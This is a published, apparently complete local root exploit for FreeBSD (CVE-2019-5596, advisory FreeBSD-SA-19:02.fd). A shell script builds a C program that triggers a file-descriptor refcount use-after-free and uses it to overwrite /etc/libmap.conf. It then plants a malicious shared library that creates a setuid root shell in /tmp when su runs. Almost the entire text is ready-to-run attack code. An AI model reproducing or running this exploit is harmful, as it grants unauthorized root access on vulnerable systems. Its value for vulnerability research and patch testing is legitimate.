# Exploit: FreeBSD-SA-19:02.fd - Privilege Escalation # Date: 2019-12-30 # Author: Karsten König of Secfault Security # Twitter: @gr4yf0x # Kudos: Maik, greg and Dirk for discussion and inspiration # CVE: CVE-2019-5596 # libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper #!/bin/sh echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security" umask 0000 if [ ! -f /etc/libmap.conf ]; then echo "[!] libmap.conf has to exist" exit fi cp /etc/libmap.conf ./ cat > heavy_cyber_weapon.c << EOF #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define N_FDS 0xfe #define N_OPEN 0x2 #define N 1000000 #define NUM_THREADS 400 #define NUM_FORKS 3 #define FILE_SIZE 1024 #define CHUNK_SIZE 1 #define N_FILES 25 #define SERVER_PATH "/tmp/sync_forks" #define DEFAULT_PATH "/tmp/pwn" #define HAMMER_PATH "/tmp/pwn2" #define ATTACK_PATH "/etc/libmap.conf" #define HOOK_LIB "libutil.so.9" #define ATTACK_LIB "/tmp/libno_ex.so.1.0" #define CORE_0 0 #define CORE_1 1 #define MAX_TRIES 500 struct thread_data { int fd; int fd2; }; pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx; pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond; int send_recv(int fd, int sv[2], int n_fds) { int ret, i; struct iovec iov; struct msghdr msg; struct cmsghdr *cmh; char cmsg[CMSG_SPACE(sizeof(int)*n_fds)]; int *fds; char buf[1]; iov.iov_base = "a"; iov.iov_len = 1; msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg; msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds); msg.msg_flags = 0; cmh = CMSG_FIRSTHDR(&msg); cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds); cmh->cmsg_level = SOL_SOCKET; cmh->cmsg_type = SCM_RIGHTS; fds = (int *)CMSG_DATA(cmsg); for (i = 0; i < n_fds; i++) { fds[i] = fd; } ret = sendmsg(sv[0], &msg, 0); if (ret == -1) { return 1; } iov.iov_base = buf; msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmh; msg.msg_controllen = CMSG_SPACE(0); msg.msg_flags = 0; ret = recvmsg(sv[1], &msg, 0); if (ret == -1) { return 1; } return 0; } int open_tmp(char *path) { int fd; char *real_path; if (path != NULL) { real_path = malloc(strlen(path) + 1); strcpy(real_path, path); } else { real_path = malloc(strlen(DEFAULT_PATH) + 1); strcpy(real_path, DEFAULT_PATH); } if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) { perror("[!] open"); exit(1); } fchmod(fd, 0700); return fd; } void prepare_domain_socket(struct sockaddr_un *remote, char *path) { bzero(remote, sizeof(struct sockaddr_un)); remote->sun_family = AF_UNIX; strncpy(remote->sun_path, path, sizeof(remote->sun_path)); } int bind_domain_socket(struct sockaddr_un *remote) { int server_socket; if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } if (bind(server_socket, (struct sockaddr *) remote, sizeof(struct sockaddr_un)) != 0) { perror("[!] bind"); exit(1); } return server_socket; } int connect_domain_socket_client() { int client_socket; if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) { perror("[!] socket"); exit(1); } return client_socket; } // Prevent panic at termination because f_count of the // corrupted struct file is 0 at the moment this function // is used but fd2 still points to the struct, hence fdrop() // is called at exit and will panic because f_count will // be below 0 // // So we just use our known primitive to increase f_count void prevent_panic(int sv[2], int fd) { send_recv(fd, sv, 0xfe); } int stick_thread_to_core(int core) { /* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */ /* if (core_id < 0 || core_id >= num_cores) */ /* return EINVAL; */ cpuset_t cpuset; CPU_ZERO(&cpuset); CPU_SET(core, &cpuset); pthread_t current_thread = pthread_self(); return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset); } void *trigger_uaf(void *thread_args) { struct thread_data *thread_data; int fd, fd2; if (stick_thread_to_core(CORE_0) != 0) { perror("[!] [!] trigger_uaf: Could not stick thread to core"); } thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = thread_data->fd2; printf("[+] trigger_uaf: fd: %d\n", fd); printf("[+] trigger_uaf: fd2: %d\n", fd2); printf("[+] trigger_uaf: Waiting for start signal from monitor\n"); pthread_mutex_lock(&trigger_mtx); pthread_cond_wait(&trigger_cond, &trigger_mtx); usleep(40); // Close to fds to trigger uaf // // This assumes that fget_write() in kern_writev() // was already successful! // // Otherwise kernel panic is triggered // // refcount = 2 (primitive+fget_write) close(fd); close(fd2); // refcount = 0 => free fd = open(ATTACK_PATH, O_RDONLY); // refcount = 1 printf("[+] trigger_uaf: Opened read-only file, now hope\n"); printf("[+] trigger_uaf: Exit\n"); pthread_exit(NULL); } void *hammer(void *arg) { int i, j, k, client_socket, ret; char buf[FILE_SIZE], sync_buf[3]; FILE *fd[N_FILES]; struct sockaddr_un remote; prepare_domain_socket(&remote, SERVER_PATH); client_socket = connect_domain_socket_client(); strncpy(sync_buf, "1\n", 3); for (i = 0; i < N_FILES; i++) { unlink(HAMMER_PATH); if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) { perror("[!] fopen"); exit(1); } } for (i = 0; i < FILE_SIZE; i++) { buf[i] = 'a'; } pthread_mutex_lock(&hammer_mtx); // Sometimes sendto() fails because // no free buffer is available for (;;) { if (sendto(client_socket, sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &remote, sizeof(remote)) != -1) { break; } } pthread_cond_wait(&hammer_cond, &hammer_mtx); pthread_mutex_unlock(&hammer_mtx); for (i = 0; i < N; i++) { for (k = 0; k < N_FILES; k++) { rewind(fd[k]); } for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) { for (k = 0; k < N_FILES; k++) { if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) { perror("[!] fwrite"); exit(1); } } fflush(NULL); } } pthread_exit(NULL); } // Works on UFS only void *monitor_dirty_buffers(void *arg) { int hidirtybuffers, numdirtybuffers; size_t len; len = sizeof(int); if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) { perror("[!] sysctlbyname hidirtybuffers"); exit(1); }; printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers); while(1) { sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0); if (numdirtybuffers >= hidirtybuffers) { pthread_cond_signal(&write_cond); pthread_cond_signal(&trigger_cond); printf("[+] monitor: Reached hidirtybuffers watermark\n"); break; } } pthread_exit(NULL); } int check_write(int fd) { char buf[256]; int nbytes; struct stat st; printf("[+] check_write\n"); stat(DEFAULT_PATH, &st); printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size); stat(ATTACK_PATH, &st); printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size); nbytes = read(fd, buf, strlen(HOOK_LIB)); printf("[+] Read bytes: %d\n", nbytes); if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) { return 1; } else if (nbytes < 0) { perror("[!] check_write:read"); printf("[!] check_write:Cannot check if it worked!"); return 1; } return 0; } void *write_to_file(void *thread_args) { int fd, fd2, nbytes; int *fd_ptr; char buf[256]; struct thread_data *thread_data; if (stick_thread_to_core(CORE_1) != 0) { perror("[!] write_to_file: Could not stick thread to core"); } fd_ptr = (int *) malloc(sizeof(int)); thread_data = (struct thread_data *)thread_args; fd = thread_data->fd; fd2 = open(ATTACK_PATH, O_RDONLY); printf("[+] write_to_file: Wait for signal from monitor\n"); pthread_mutex_lock(&write_mtx); pthread_cond_wait(&write_cond, &write_mtx); snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB); nbytes = write(fd, buf, strlen(buf)); // Reopen directly after write to prevent panic later // // After the write f_count == 0 because after trigger_uaf() // opened the read-only file, f_count == 1 and write() // calls fdrop() at the end // // => f_count == 0 // // A direct open hopefully assigns the now again free file // object to fd so that we can prevent the panic with our // increment primitive. if ((fd = open_tmp(NULL)) == -1) perror("[!] write_to_file: open_tmp"); *fd_ptr = fd; if (nbytes < 0) { perror("[!] [!] write_to_file:write"); } else if (nbytes > 0) { printf("[+] write_to_file: We have written something...\n"); if (check_write(fd2) > 0) printf("[+] write_to_file: It (probably) worked!\n"); else printf("[!] write_to_file: It worked not :(\n"); } printf("[+] write_to_file: Exit\n"); pthread_exit(fd_ptr); } void prepare(int sv[2], int fds[2]) { int fd, fd2, i; printf("[+] Start UaF preparation\n"); printf("[+] This can take a while\n"); // Get a single file descriptor to send via the socket if ((fd = open_tmp(NULL)) == -1) { perror("[!] open_tmp"); exit(1); } if ((fd2 = dup(fd)) == -1) { perror("[!] dup"); exit(1); } // fp->f_count will increment by 0xfe in one iteration // doing this 16909320 times will lead to // f_count = 16909320 * 0xfe + 2 = 0xfffffff2 // Note the 2 because of the former call of dup() and // the first open(). // // To test our trigger we can send 0xd more fd's what // would to an f_count of 0 when fdclose() is called in // m_dispose_extcontrolm. fdrop() will reduce f_count to // 0xffffffff = -1 and ultimately panic when _fdrop() is // called because the latter asserts that f_count is 0. // _fdrop is called in the first place because // refcount_release() only checks that f_count is less or // equal 1 to recognize the last reference. // // If we want to trigger the free without panic, we have // to send 0xf fds and close an own what will lead to an // fdrop() call without panic as f_count is 1 and reduced // to 0 by close(). The unclosed descriptor references now // a free 'struct file'. for (i = 0; i < 16909320; i++) { if (i % 1690930 == 0) { printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093)); } if (send_recv(fd, sv, N_FDS)) { perror("[!] prepare:send_recv"); exit(1); } } if (send_recv(fd, sv, 0xf)) { perror("[!] prepare:send_recv"); exit(1); } fds[0] = fd; fds[1] = fd2; printf("[+] Finished UaF preparation\n"); } void read_thread_status(int server_socket) { int bytes_rec, count; struct sockaddr_un client; socklen_t len; char buf[256]; struct timeval tv; tv.tv_sec = 10; tv.tv_usec = 0; setsockopt(server_socket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tv, sizeof tv); for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) { if (count % 100 == 0) { printf("[+] Hammer threads ready: %d\n", count); } bzero(&client, sizeof(struct sockaddr_un)); bzero(buf, 256); len = sizeof(struct sockaddr_un); if ((bytes_rec = recvfrom(server_socket, buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] recvfrom"); break; } } if (count != NUM_FORKS * NUM_THREADS) { printf("[!] Could not create all hammer threads, will try though!\n"); } } void fire() { int i, j, fd, fd2, bytes_rec, server_socket; int sv[2], fds[2], hammer_socket[NUM_FORKS]; int *fd_ptr; char socket_path[256], sync_buf[3], buf[256]; pthread_t write_thread, trigger_thread, monitor_thread; pthread_t hammer_threads[NUM_THREADS]; pid_t pids[NUM_FORKS]; socklen_t len; struct thread_data thread_data; struct sockaddr_un server, client; struct sockaddr_un hammer_socket_addr[NUM_FORKS]; // Socket for receiving thread status unlink(SERVER_PATH); prepare_domain_socket(&server, SERVER_PATH); server_socket = bind_domain_socket(&server); // Sockets to receive hammer signal for (i = 0; i < NUM_FORKS; i++) { snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i); unlink(socket_path); prepare_domain_socket(&hammer_socket_addr[i], socket_path); hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]); } strncpy(sync_buf, "1\n", 3); len = sizeof(struct sockaddr_un); if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) { perror("[!] socketpair"); exit(1); } pthread_mutex_init(&write_mtx, NULL); pthread_mutex_init(&trigger_mtx, NULL); pthread_cond_init(&write_cond, NULL); pthread_cond_init(&trigger_cond, NULL); pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL); prepare(sv, fds); fd = fds[0]; fd2 = fds[1]; thread_data.fd = fd; thread_data.fd2 = fd2; pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data); pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data); for (j = 0; j < NUM_FORKS; j++) { if ((pids[j] = fork()) < 0) { perror("[!] fork"); abort(); } else if (pids[j] == 0) { pthread_mutex_init(&hammer_mtx, NULL); pthread_cond_init(&hammer_cond, NULL); close(fd); close(fd2); /* Prevent that a file stream in the hammer threads * gets the file descriptor of fd for debugging purposes */ if ((fd = open_tmp("/tmp/dummy")) == -1) perror("[!] dummy"); if ((fd2 = open_tmp("/tmp/dummy2")) == -1) perror("[!] dummy2"); printf("[+] Fork %d fd: %d\n", j, fd); printf("[+] Fork %d fd2: %d\n", j, fd2); for (i = 0; i < NUM_THREADS; i++) { pthread_create(&hammer_threads[i], NULL, hammer, NULL); } printf("[+] Fork %d created all threads\n", j); if ((bytes_rec = recvfrom(hammer_socket[j], buf, 256, 0, (struct sockaddr *) &client, &len)) == -1) { perror("[!] accept"); abort(); } pthread_cond_broadcast(&hammer_cond); for (i = 0; i < NUM_THREADS; i++) { pthread_join(hammer_threads[i], NULL); } pthread_cond_destroy(&hammer_cond); pthread_mutex_destroy(&hammer_mtx); exit(0); } else { printf("[+] Created child with PID %d\n", pids[j]); } } read_thread_status(server_socket); printf("[+] Send signal to Start Hammering\n"); for (i = 0; i < NUM_FORKS; i++) { if (sendto(hammer_socket[i], sync_buf, strlen(sync_buf), 0, (struct sockaddr *) &hammer_socket_addr[i], sizeof(hammer_socket_addr[0])) == -1) { perror("[!] sendto"); exit(1); } } pthread_join(monitor_thread, NULL); for (i = 0; i < NUM_FORKS; i++) { kill(pids[i], SIGKILL); printf("[+] Killed %d\n", pids[i]); } pthread_join(write_thread, (void **) &fd_ptr); pthread_join(trigger_thread, NULL); pthread_mutex_destroy(&write_mtx); pthread_mutex_destroy(&trigger_mtx); pthread_cond_destroy(&write_cond); pthread_cond_destroy(&trigger_cond); printf("[+] Returned fd: %d\n", *fd_ptr); prevent_panic(sv, *fd_ptr); // fd was acquired from write_to_file // which allocs a pointer for it free(fd_ptr); } int main(int argc, char **argv) { setbuf(stdout, NULL); fire(); return 0; } EOF cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c cat > program.c << EOF #include #include #include #include void _init() { if (!geteuid()) execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } EOF cc -o program.o -c program.c -fPIC cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 echo "[+] Firing the Heavy Cyber Weapon" ./heavy_cyber_weapon su if [ -f /tmp/xxxx ]; then echo "[+] Enjoy!" echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf" /tmp/xxxx else echo "[!] FAIL" fi